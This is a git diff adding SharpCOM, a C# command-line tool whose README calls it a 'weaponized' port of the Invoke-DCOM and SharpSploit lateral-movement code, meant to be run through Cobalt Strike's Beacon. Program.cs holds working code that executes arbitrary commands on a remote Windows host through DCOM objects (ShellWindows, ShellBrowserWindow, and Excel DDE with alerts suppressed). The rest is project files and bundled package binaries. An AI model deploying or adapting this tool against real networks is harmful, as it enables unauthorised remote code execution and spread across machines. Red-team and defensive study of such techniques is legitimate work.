diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..6e3b48d --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +.vs +*.user +[Dd]ebug/ +[Rr]elease/ +[Bb]in/ +[Oo]bj/ \ No newline at end of file diff --git a/README.md b/README.md index 794fb94..886c871 100644 --- a/README.md +++ b/README.md @@ -1 +1,17 @@ # SharpCOM + +SharpCOM is a c# port of [Invoke-DCOM](https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1) + + +Major credit to @cobbr_io for the initial conversion of Invoke-DCOM to c# in [SharpSploit] +(https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/LateralMovement/DCOM.cs) + + +This version is meant to be a "weaponized" port of the SharpSploit DCOM lateral movement module. + + +As an example, one could execute SharpCOM.exe through Cobalt Strike's Beacon "execute-assembly" module. + + +#### Example usage +beacon>execute-assembly /root/SharpCOM/SharpCOM.exe --Method ShellWindows --ComputerName hosta.example.local --Command "calc.exe" diff --git a/SharpCOM.sln b/SharpCOM.sln new file mode 100644 index 0000000..e44f099 --- /dev/null +++ b/SharpCOM.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.28307.136 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpCOM", "SharpCOM\SharpCOM.csproj", "{51960F7D-76FE-499F-AFBD-ACABD7BA50D1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Debug|Any CPU.Build.0 = Debug|Any CPU + {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Debug|x86.ActiveCfg = Debug|x86 + {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Debug|x86.Build.0 = Debug|x86 + {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Release|Any CPU.ActiveCfg = Release|Any CPU + {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Release|Any CPU.Build.0 = Release|Any CPU + {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Release|x86.ActiveCfg = Release|Any CPU + {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Release|x86.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {A3265EB5-B0B5-4E25-B88F-84853FD8F07B} + EndGlobalSection +EndGlobal diff --git a/SharpCOM/App.config b/SharpCOM/App.config new file mode 100644 index 0000000..e707b32 --- /dev/null +++ b/SharpCOM/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/SharpCOM/FodyWeavers.xml b/SharpCOM/FodyWeavers.xml new file mode 100644 index 0000000..a5dcf04 --- /dev/null +++ b/SharpCOM/FodyWeavers.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/SharpCOM/FodyWeavers.xsd b/SharpCOM/FodyWeavers.xsd new file mode 100644 index 0000000..44a5374 --- /dev/null +++ b/SharpCOM/FodyWeavers.xsd @@ -0,0 +1,111 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/SharpCOM/Program.cs b/SharpCOM/Program.cs new file mode 100644 index 0000000..21365f6 --- /dev/null +++ b/SharpCOM/Program.cs @@ -0,0 +1,91 @@ +using System; +using NDesk.Options; +using System.Reflection; + +namespace SharpCOM +{ + public class Program + { + public static void Main(string[] args) + { + string Method = "ShellWindows"; + string ComputerName = null; + string Directory = "C:\\WINDOWS\\System32\\"; + string Parameters = ""; + string Command = null; + bool showhelp = false; + OptionSet opts = new OptionSet() + { + { "Method=", " --Method ShellWindows", v => Method = v }, + { "ComputerName=", "--ComputerName host.example.local", v => ComputerName = v }, + { "Command=", "--Command calc.exe", v => Command = v }, + { "h|?|help", "Show available options", v => showhelp = v != null }, + }; + + try + { + opts.Parse(args); + } + catch (OptionException e) + { + Console.WriteLine(e.Message); + } + + if (showhelp) + { + Console.WriteLine("RTFM"); + opts.WriteOptionDescriptions(Console.Out); + Console.WriteLine("[*] Example: SharpCOM.exe --Method ShellWindows --ComputerName localhost --Command calc.exe"); + return; + } + + try + { + if (Method == "ShellWindows") + { + var CLSID = "9BA05972-F6A8-11CF-A442-00A0C90A8F39"; + Type ComType = Type.GetTypeFromCLSID(new Guid(CLSID), ComputerName); + object RemoteComObject = NewMethod(ComType); + object Item = RemoteComObject.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { }); + object Document = Item.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, Item, null); + object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null); + Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { Command, Parameters, Directory, null, 0 }); + } + else if (Method == "ShellBrowserWindow") + { + var CLSID = "C08AFD90-F2A1-11D1-8455-00A0C91F3880"; + Type ComType = Type.GetTypeFromCLSID(new Guid(CLSID), ComputerName); + object RemoteComObject = Activator.CreateInstance(ComType); + + object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null); + object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null); + Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { Command, Parameters, Directory, null, 0 }); + } + else if (Method == "ExcelDDE") + { + Type ComType = Type.GetTypeFromProgID("Excel.Application", ComputerName); + object RemoteComObject = Activator.CreateInstance(ComType); + RemoteComObject.GetType().InvokeMember("DisplayAlerts", BindingFlags.SetProperty, null, RemoteComObject, new object[] { false }); + RemoteComObject.GetType().InvokeMember("DDEInitiate", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { Command, Parameters }); + } + else + { + Console.WriteLine("You must supply arguments!"); + } + } + catch (Exception e) + { + Console.Error.WriteLine("DCOM Failed: " + e.Message); + } + + } + + private static object NewMethod(Type ComType) + { + return Activator.CreateInstance(ComType); + } + } +} + + + diff --git a/SharpCOM/Properties/AssemblyInfo.cs b/SharpCOM/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..2c54aff --- /dev/null +++ b/SharpCOM/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SharpCOM")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SharpCOM")] +[assembly: AssemblyCopyright("Copyright © 2018")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("51960f7d-76fe-499f-afbd-acabd7ba50d1")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/SharpCOM/SharpCOM.csproj b/SharpCOM/SharpCOM.csproj new file mode 100644 index 0000000..89dcf8a --- /dev/null +++ b/SharpCOM/SharpCOM.csproj @@ -0,0 +1,90 @@ + + + + + + Debug + AnyCPU + {51960F7D-76FE-499F-AFBD-ACABD7BA50D1} + Exe + SharpCOM + SharpCOM + v4.5 + 512 + true + true + + + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + true + bin\x86\Debug\ + DEBUG;TRACE + full + x86 + prompt + MinimumRecommendedRules.ruleset + true + + + bin\x86\Release\ + TRACE + true + pdbonly + x86 + prompt + MinimumRecommendedRules.ruleset + true + + + + ..\packages\Costura.Fody.3.2.1\lib\net40\Costura.dll + + + ..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll + + + + + + + + + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + \ No newline at end of file diff --git a/SharpCOM/packages.config b/SharpCOM/packages.config new file mode 100644 index 0000000..773d817 --- /dev/null +++ b/SharpCOM/packages.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/packages/Costura.Fody.3.2.1/.signature.p7s b/packages/Costura.Fody.3.2.1/.signature.p7s new file mode 100644 index 0000000..70bdb1a Binary files /dev/null and b/packages/Costura.Fody.3.2.1/.signature.p7s differ diff --git a/packages/Costura.Fody.3.2.1/Costura.Fody.3.2.1.nupkg b/packages/Costura.Fody.3.2.1/Costura.Fody.3.2.1.nupkg new file mode 100644 index 0000000..39e1cdd Binary files /dev/null and b/packages/Costura.Fody.3.2.1/Costura.Fody.3.2.1.nupkg differ diff --git a/packages/Costura.Fody.3.2.1/build/Costura.Fody.props b/packages/Costura.Fody.3.2.1/build/Costura.Fody.props new file mode 100644 index 0000000..61581bc --- /dev/null +++ b/packages/Costura.Fody.3.2.1/build/Costura.Fody.props @@ -0,0 +1,12 @@ + + + + netclassicweaver + netstandardweaver + + + + + + + diff --git a/packages/Costura.Fody.3.2.1/lib/net40/Costura.dll b/packages/Costura.Fody.3.2.1/lib/net40/Costura.dll new file mode 100644 index 0000000..adc975f Binary files /dev/null and b/packages/Costura.Fody.3.2.1/lib/net40/Costura.dll differ diff --git a/packages/Costura.Fody.3.2.1/lib/net40/Costura.xml b/packages/Costura.Fody.3.2.1/lib/net40/Costura.xml new file mode 100644 index 0000000..7e9ca15 --- /dev/null +++ b/packages/Costura.Fody.3.2.1/lib/net40/Costura.xml @@ -0,0 +1,18 @@ + + + + Costura + + + + + Contains methods for interacting with the Costura system. + + + + + Call this to Initialize the Costura system. + + + + diff --git a/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.dll b/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.dll new file mode 100644 index 0000000..c607759 Binary files /dev/null and b/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.dll differ diff --git a/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.pdb b/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.pdb new file mode 100644 index 0000000..9b2a8b8 Binary files /dev/null and b/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.pdb differ diff --git a/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.xcf b/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.xcf new file mode 100644 index 0000000..0f0424e --- /dev/null +++ b/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.xcf @@ -0,0 +1,85 @@ + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + \ No newline at end of file diff --git a/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.dll b/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.dll new file mode 100644 index 0000000..a208fc8 Binary files /dev/null and b/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.dll differ diff --git a/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.pdb b/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.pdb new file mode 100644 index 0000000..84d719a Binary files /dev/null and b/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.pdb differ diff --git a/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.xcf b/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.xcf new file mode 100644 index 0000000..0f0424e --- /dev/null +++ b/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.xcf @@ -0,0 +1,85 @@ + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + \ No newline at end of file diff --git a/packages/Fody.3.3.3/.signature.p7s b/packages/Fody.3.3.3/.signature.p7s new file mode 100644 index 0000000..1a5fdb0 Binary files /dev/null and b/packages/Fody.3.3.3/.signature.p7s differ diff --git a/packages/Fody.3.3.3/Fody.3.3.3.nupkg b/packages/Fody.3.3.3/Fody.3.3.3.nupkg new file mode 100644 index 0000000..546f555 Binary files /dev/null and b/packages/Fody.3.3.3/Fody.3.3.3.nupkg differ diff --git a/packages/Fody.3.3.3/build/Fody.targets b/packages/Fody.3.3.3/build/Fody.targets new file mode 100644 index 0000000..02ecfe7 --- /dev/null +++ b/packages/Fody.3.3.3/build/Fody.targets @@ -0,0 +1,99 @@ + + + + $(ProjectDir)FodyWeavers.xml + $(MSBuildThisFileDirectory)..\ + $(FodyPath)netstandardtask + $(FodyPath)netclassictask + $(FodyAssemblyDirectory)\Fody.dll + $(MSBuildProjectFile).Fody.CopyLocal.cache + $(DefaultItemExcludes);FodyWeavers.xsd + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/packages/Fody.3.3.3/netclassictask/Fody.dll b/packages/Fody.3.3.3/netclassictask/Fody.dll new file mode 100644 index 0000000..7aa4b77 Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Fody.dll differ diff --git a/packages/Fody.3.3.3/netclassictask/FodyCommon.dll b/packages/Fody.3.3.3/netclassictask/FodyCommon.dll new file mode 100644 index 0000000..f2b7200 Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/FodyCommon.dll differ diff --git a/packages/Fody.3.3.3/netclassictask/FodyHelpers.dll b/packages/Fody.3.3.3/netclassictask/FodyHelpers.dll new file mode 100644 index 0000000..3208c8d Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/FodyHelpers.dll differ diff --git a/packages/Fody.3.3.3/netclassictask/FodyIsolated.dll b/packages/Fody.3.3.3/netclassictask/FodyIsolated.dll new file mode 100644 index 0000000..9980023 Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/FodyIsolated.dll differ diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.dll b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.dll new file mode 100644 index 0000000..64117ac Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.dll differ diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.pdb b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.pdb new file mode 100644 index 0000000..6107ae3 Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.pdb differ diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.dll b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.dll new file mode 100644 index 0000000..03abf82 Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.dll differ diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.pdb b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.pdb new file mode 100644 index 0000000..d895f57 Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.pdb differ diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.dll b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.dll new file mode 100644 index 0000000..c246933 Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.dll differ diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.pdb b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.pdb new file mode 100644 index 0000000..20a4ca1 Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.pdb differ diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.dll b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.dll new file mode 100644 index 0000000..3c94d2a Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.dll differ diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.pdb b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.pdb new file mode 100644 index 0000000..ad7d3d8 Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.pdb differ diff --git a/packages/Fody.3.3.3/netstandardtask/Fody.dll b/packages/Fody.3.3.3/netstandardtask/Fody.dll new file mode 100644 index 0000000..b16d015 Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Fody.dll differ diff --git a/packages/Fody.3.3.3/netstandardtask/FodyCommon.dll b/packages/Fody.3.3.3/netstandardtask/FodyCommon.dll new file mode 100644 index 0000000..f25b835 Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/FodyCommon.dll differ diff --git a/packages/Fody.3.3.3/netstandardtask/FodyHelpers.dll b/packages/Fody.3.3.3/netstandardtask/FodyHelpers.dll new file mode 100644 index 0000000..c83b2a9 Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/FodyHelpers.dll differ diff --git a/packages/Fody.3.3.3/netstandardtask/FodyIsolated.dll b/packages/Fody.3.3.3/netstandardtask/FodyIsolated.dll new file mode 100644 index 0000000..7733a4d Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/FodyIsolated.dll differ diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.dll b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.dll new file mode 100644 index 0000000..b063f3c Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.dll differ diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.pdb b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.pdb new file mode 100644 index 0000000..593f7f5 Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.pdb differ diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.dll b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.dll new file mode 100644 index 0000000..75f83d6 Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.dll differ diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.pdb b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.pdb new file mode 100644 index 0000000..ae0b5df Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.pdb differ diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.dll b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.dll new file mode 100644 index 0000000..47ae672 Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.dll differ diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.pdb b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.pdb new file mode 100644 index 0000000..e74ef16 Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.pdb differ diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.dll b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.dll new file mode 100644 index 0000000..5313263 Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.dll differ diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.pdb b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.pdb new file mode 100644 index 0000000..5640b51 Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.pdb differ diff --git a/packages/NDesk.Options.0.2.1/.signature.p7s b/packages/NDesk.Options.0.2.1/.signature.p7s new file mode 100644 index 0000000..080af63 Binary files /dev/null and b/packages/NDesk.Options.0.2.1/.signature.p7s differ diff --git a/packages/NDesk.Options.0.2.1/NDesk.Options.0.2.1.nupkg b/packages/NDesk.Options.0.2.1/NDesk.Options.0.2.1.nupkg new file mode 100644 index 0000000..b46f271 Binary files /dev/null and b/packages/NDesk.Options.0.2.1/NDesk.Options.0.2.1.nupkg differ diff --git a/packages/NDesk.Options.0.2.1/lib/NDesk.Options.dll b/packages/NDesk.Options.0.2.1/lib/NDesk.Options.dll new file mode 100644 index 0000000..df45878 Binary files /dev/null and b/packages/NDesk.Options.0.2.1/lib/NDesk.Options.dll differ